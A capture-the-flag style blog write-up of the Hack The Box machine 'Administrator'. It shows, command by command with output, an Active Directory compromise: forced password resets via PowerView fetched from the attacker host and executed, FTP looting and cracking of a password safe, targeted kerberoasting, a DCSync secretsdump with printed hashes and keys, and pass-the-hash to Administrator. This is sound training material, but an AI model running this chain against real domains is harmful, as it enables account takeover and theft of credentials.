Hackthebox: Administrator

Foued SAIDI Lv4

Overview

Administrator is a medium-difficulty machine from Hack The Box where we were provided credentials in an Assumed Breach approach. We’ll first begin by BloodHound enumeration where we’ll abuse GenericAll -> ForceChangePassword to finally abuse an open FTP share with user credentials, one of which will be used to perform a Kerberoasting attack on the system to land a user with DcSync privileges and dump the hashes from the system to become Administrator.

Administrator-info-card
Administrator-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

PS C:\Users\0xkujen> nmap -A -Pn 10.129.207.232
Starting Nmap 7.95 ( https://nmap.org ) at 2024-11-11 20:07 W. Central Africa Standard Time
Stats: 0:01:01 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 22.90% done; ETC: 20:11 (0:03:09 remaining)
Stats: 0:01:02 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 23.03% done; ETC: 20:11 (0:03:07 remaining)
Nmap scan report for 10.129.207.232
Host is up (0.59s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-12 02:14:22Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h05m02s
| smb2-time:
| date: 2024-11-12T02:15:32
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 261.69 seconds

We can see that we’re dealing with a domain controller machine (since we can scan for Kerberos port 88 and ldap port 389). We also have a suspicious looking ftp port open.

We were also provided with a user credentials just like in an Assumed Breach pentest: Username: Olivia Password: ichliebedich

Enumeration using BloodHound

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~]
└─$ bloodhound-python -c All -u Olivia -p 'ichliebedich' -d Administrator.htb -ns 10.129.207.232 --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: administrator.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc.administrator.htb:88)] [Errno 111] Connection refused
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 11 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.administrator.htb
INFO: Done in 00M 17S
INFO: Compressing output into 20250418105826_bloodhound.zip

We start off with BloodHound Enumeration using bloodhound-python since we are provided with user credentials.

BloodHound Enumeration
BloodHound Enumeration

We can see that our user Olivia has GenericAll on MICHAEL which himself hs ForceChangePassword on BENJAMIN who is a member of SHARE MODERATORS on the domain.

We can also see that OLIVIA is a member of Remote Management Users group so let’s connect to her session using evil-winrm:

1
2
3
*Evil-WinRM* PS C:\Users\olivia\Documents> whoami
administrator\olivia
*Evil-WinRM* PS C:\Users\olivia\Documents>

First we’ll import PowerView.ps1 module to the machine and then attempt to change MICAHEL‘s password:

1
2
3
4
5
6
7
*Evil-WinRM* PS C:\Users\olivia\Documents> iwr 10.10.16.13/PowerView.ps1 -outfile PowerView.ps1; . ./PowerView.ps1
*Evil-WinRM* PS C:\Users\olivia\Documents> $pass = ConvertTo-SecureString 'ichliebedich' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\olivia\Documents> $creds = New-Object System.Management.Automation.PSCredential('ADMINISTRATOR\olivia', $pass)
*Evil-WinRM* PS C:\Users\olivia\Documents> $new = ConvertTo-SecureString 'NewPasswordKujen123!' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\olivia\Documents> Set-DomainUserPassword -Identity 'MICHAEL' -AccountPassword $new -Credential $creds
*Evil-WinRM* PS C:\Users\olivia\Documents>

As MICHAEL is also a member of Remote Management Users, we can connect using the new password over evil-winrm:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i administrator.htb -u michael -p 'NewPasswordKujen123!'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\michael\Documents> whoami
administrator\michael
*Evil-WinRM* PS C:\Users\michael\Documents>

Now since MICAHEL has ForceChangePassword over BENJAMIN, we’ll do the same steps we did before to change BENJAMIN‘s password:

1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Users\michael\Documents> whoami
administrator\michael
*Evil-WinRM* PS C:\Users\michael\Documents> iwr 10.10.16.13/PowerView.ps1 -outfile PowerView.ps1; . ./PowerView.ps1
*Evil-WinRM* PS C:\Users\michael\Documents> $pass = ConvertTo-SecureString 'NewPasswordKujen123!' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\michael\Documents> $creds = New-Object System.Management.Automation.PSCredential('ADMINISTRATOR\michael', $pass)
*Evil-WinRM* PS C:\Users\michael\Documents> $new = ConvertTo-SecureString 'NewPasswordKujen123!' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\michael\Documents> Set-DomainUserPassword -Identity 'benjamin' -AccountPassword $new -Credential $creds
*Evil-WinRM* PS C:\Users\michael\Documents>

Now we have from BloodHound that BENJAMIN is member of SHARE MODERATORS group. Shares have to do with file access. So I instantly thought of accessing our previously discovered ftp port using BENJAMIN‘s new credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~]
└─$ ftp [email protected]
Connected to administrator.htb.localdomain.
220 Microsoft FTP Service
331 Password required
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||54695|)
125 Data connection already open; Transfer starting.
10-05-24 09:13AM 952 Backup.psafe3
226 Transfer complete.
ftp> get Backup.psafe3
local: Backup.psafe3 remote: Backup.psafe3
229 Entering Extended Passive Mode (|||54696|)
125 Data connection already open; Transfer starting.
100% |****************************************************************************************************| 952 4.62 KiB/s 00:00 ETA
226 Transfer complete.
WARNING! 3 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
952 bytes received in 00:00 (3.64 KiB/s)

And that was indeed true, we got access to a Backup.psafe3which is a Password Safe V3 database.

First, this database is password protected so we’ll crack the hash for it using JohnTheRipper:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~]
└─$ pwsafe2john Backup.psafe3 > backup.hash

┌──(kali㉿kali)-[~]
└─$ john -w=/usr/share/wordlists/rockyou.txt backup.hash
Using default input encoding: UTF-8
Loaded 1 password hash (pwsafe, Password Safe [SHA256 128/128 AVX 4x])
No password hashes left to crack (see FAQ)

┌──(kali㉿kali)-[~]
└─$ john backup.hash --show
Backu:tekieromucho

1 password hash cracked, 0 left

We can now open the safe with pwsafe:

psafe backup
psafe backup

Inside of it we will find these 3 credentials:

1
2
3
alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur

We can see that emily is a member of Remote Management Users so we connect using her credentials and claim our user flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i administrator.htb -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily\Documents> cat ../desktop/user.txt
abb3ce3ab32dbac6bd5124d2ce4f1f6e
*Evil-WinRM* PS C:\Users\emily\Documents>

Privilege Escalation to Administrator - Kerberoasting

We can use this github project to do a targeted kerberoast using these credentials. Using emily, we got this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/Hackthebox/Administrator/targetedKerberoast]
└─$ python3 targetedKerberoast.py -v -d 'Administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (ethan)
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$Administrator.htb/ethan*$b71d0716274a7443c90e8ea360829a6a$28fd732a2e3c6b9a170dc118ca37223e0ee7e4ecd08d374aa7da3a61c1616715a8711c8a41a0242e115df9841e9c0b7576391af212912c5ba4c9a1c24d3d3cf1aab2cf05c47f06038056149d9c2eed0ffd5587b0d4f2b1876755623a6341805d0aeee4201513909052d105429d0ead5d954109b4c0a27d3dfa46c5b06de182156994d5237a82156501bf6fb702be3728c340a78e0f2efa9ec26d2884a8a53c67f4e265e3493cbad2e2dd39dd3403ce94cd5cf0505f938fc206133323f1cbe6fa0ec5898cc4e41660364e0a2fce0f3a102925eea3fc5e7a78ada09c8095e66ff122cea1e663e1eaa1c8c05c6bb681fba3e8892fc2a170a63caa756482056264184149b9a31705b84db553aa79c4f9ed95c19e730e01a832f03b55c99050ae6004a83d89245d95b842508f9010c1560f1323bfdf41191a050b60f0daf0ab857b0d964ee2412792bd533c05ae77f15a55ab772afac8c8c2afc53d90fe8f2241240cca387c1fd284d0439523deb512bc604f54536ac9ab252b96fa13f28712c535b6b4b409da05cbc55b0265a994fff6e1603cb0b63d33666baf100d2b28b47577e40519df3397fd8bf5f43dedeab79e2459d8eb0356b2000dab63b9c98f61dab8f6d8fa995d34a08872e4c5d94a4cb6da5c8cd765bd80cdb781be399a53f17c9fc396c463e15e7dba30334523c1a9df6e4d57a3813d9c6dd97898ce9b8f3a5bdac0f2dc9a53d453bf074171009733b8b7c261ef33bdd8a7b76bc5b4b2ea36b6906a38679bb6fdcd6b75adee462d69fa971fa221146072220f27422d6dfee89501021e818e19f13d31df2f0fbb22ffb9426489462459d62142ccee93881cd732cbc9ea7554912dc881bfce215b3df794465974458d6933bb48e2f524e0fe24c1f7538777274d02a8d4f598fa6973a82ac3f6edd4702fd13549104e8de9d583af42c044d121ae72030fd5d6c1bdb69127cf4f7aa420cf1b65a7f42ce39f957926d29ef0c944d26963d4b34ac4e29f85da452b94283bbe6114bb82acb6e28dd0f64b11b28e21c270a95f28d6c54642db2f6cf2d1de8e45c55db8b9b627dd5805c2d9ef1b26933c9d6fc071f2612d1753b700500e8cdb4d8930a3a41482140fd9051837d59eee302912ca3e280e8182951fece31c2922a4497eecea232e60a68a354c9fa2d7c9383a1d7f4bd99d8797489d7afc7bfcb47a41a2e01fe721d96c38e2ad9460d60b51b525fbc3668d3434d4d849a7072ac359717475f079ad136fe2c705fcf900f084db7138f4b4c55ea7625fc435a1ffe69e99998e3f2d8a840efddd459b1e2c43458d2c15e1fb74bf75a3e8796609a47f0bf99ce3e26b64a148c293c9473342c09af5db16336bb36ff1a17fd9837ce7c39ac372f1b853e34e74b28f4594921b07b11fa278842c06fd3d3e9311d9e3f6cae366c3a0a207667211fd587a648faa631a4beb7f0484b39494d875e6455cceadaf8b2a7ad26e795bdd46e80e2a41eb4d0339f8afe99b2b2bf4646157c3ba182b9cacd06b2681500be16e3908
[VERBOSE] SPN removed successfully for (ethan)
┌──(kali㉿kali)-[~/Hackthebox/Administrator]
└─$ john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hash.ethan
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
limpbizkit (?)
1g 0:00:00:00 DONE (2024-11-11 22:13) 16.66g/s 85333p/s 85333c/s 85333C/s newzealand..babygrl
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

So we basically kerberoasted the ethan user and then cracked his password.

Now checking BloodHound once again, we can see that ethan has DcSync privileges on the domain. Therefore we can dump secrets using his credentials:

DcSync
DcSync

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
┌──(kali㉿kali)-[~/Hackthebox/Administrator]
└─$ impacket-secretsdump 'ADMINISTRATOR.HTB/ethan:limpbizkit'@'dc.administrator.htb'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:8469d85c7d2852c49b6a4f2c735bb462:::
administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:8469d85c7d2852c49b6a4f2c735bb462:::
administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::
administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::
administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664
Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2
Administrator:des-cbc-md5:403286f7cdf18385
krbtgt:aes256-cts-hmac-sha1-96:920ce354811a517c703a217ddca0175411d4a3c0880c359b2fdc1a494fb13648
krbtgt:aes128-cts-hmac-sha1-96:aadb89e07c87bcaf9c540940fab4af94
krbtgt:des-cbc-md5:2c0bc7d0250dbfc7
administrator.htb\olivia:aes256-cts-hmac-sha1-96:713f215fa5cc408ee5ba000e178f9d8ac220d68d294b077cb03aecc5f4c4e4f3
administrator.htb\olivia:aes128-cts-hmac-sha1-96:3d15ec169119d785a0ca2997f5d2aa48
administrator.htb\olivia:des-cbc-md5:bc2a4a7929c198e9
administrator.htb\michael:aes256-cts-hmac-sha1-96:b0f374d3362d0a3901aeb1f6550c92df0bd6a592bb3ffbe50935eee237984eaa
administrator.htb\michael:aes128-cts-hmac-sha1-96:f351d05d6a48e30bc3af7f3146df6354
administrator.htb\michael:des-cbc-md5:c710dcb926134a08
administrator.htb\benjamin:aes256-cts-hmac-sha1-96:2c0d97bba85c368157797ffaa1c57f5e2ea985a07532d00e3e70dbf6e4de53f0
administrator.htb\benjamin:aes128-cts-hmac-sha1-96:945fc39c32228786ad0d90be50ab1b83
administrator.htb\benjamin:des-cbc-md5:7c200289344cfd51
administrator.htb\emily:aes256-cts-hmac-sha1-96:53063129cd0e59d79b83025fbb4cf89b975a961f996c26cdedc8c6991e92b7c4
administrator.htb\emily:aes128-cts-hmac-sha1-96:fb2a594e5ff3a289fac7a27bbb328218
administrator.htb\emily:des-cbc-md5:804343fb6e0dbc51
administrator.htb\ethan:aes256-cts-hmac-sha1-96:e8577755add681a799a8f9fbcddecc4c3a3296329512bdae2454b6641bd3270f
administrator.htb\ethan:aes128-cts-hmac-sha1-96:e67d5744a884d8b137040d9ec3c6b49f
administrator.htb\ethan:des-cbc-md5:58387aef9d6754fb
administrator.htb\alexander:aes256-cts-hmac-sha1-96:b78d0aa466f36903311913f9caa7ef9cff55a2d9f450325b2fb390fbebdb50b6
administrator.htb\alexander:aes128-cts-hmac-sha1-96:ac291386e48626f32ecfb87871cdeade
administrator.htb\alexander:des-cbc-md5:49ba9dcb6d07d0bf
administrator.htb\emma:aes256-cts-hmac-sha1-96:951a211a757b8ea8f566e5f3a7b42122727d014cb13777c7784a7d605a89ff82
administrator.htb\emma:aes128-cts-hmac-sha1-96:aa24ed627234fb9c520240ceef84cd5e
administrator.htb\emma:des-cbc-md5:3249fba89813ef5d
DC$:aes256-cts-hmac-sha1-96:98ef91c128122134296e67e713b233697cd313ae864b1f26ac1b8bc4ec1b4ccb
DC$:aes128-cts-hmac-sha1-96:7068a4761df2f6c760ad9018c8bd206d
DC$:des-cbc-md5:f483547c4325492a
[*] Cleaning up...

We can now connect using the Administrator hash and claim our root flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i administrator.htb -u administrator -H "3dc553ce4b9fd20bd016e098d2d2fd2e"

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ../desktop/root.txt
286348d87542e428e6a95d66059907e1
*Evil-WinRM* PS C:\Users\Administrator\Documents>
  • Title: Hackthebox: Administrator
  • Author: Foued SAIDI
  • Created at : 2025-04-18 10:51:26
  • Updated at : 2025-04-18 12:31:06
  • Link: https://kujen5.github.io/2025/04/18/Hackthebox-Administrator/
  • License: This work is licensed under CC BY-NC-SA 4.0.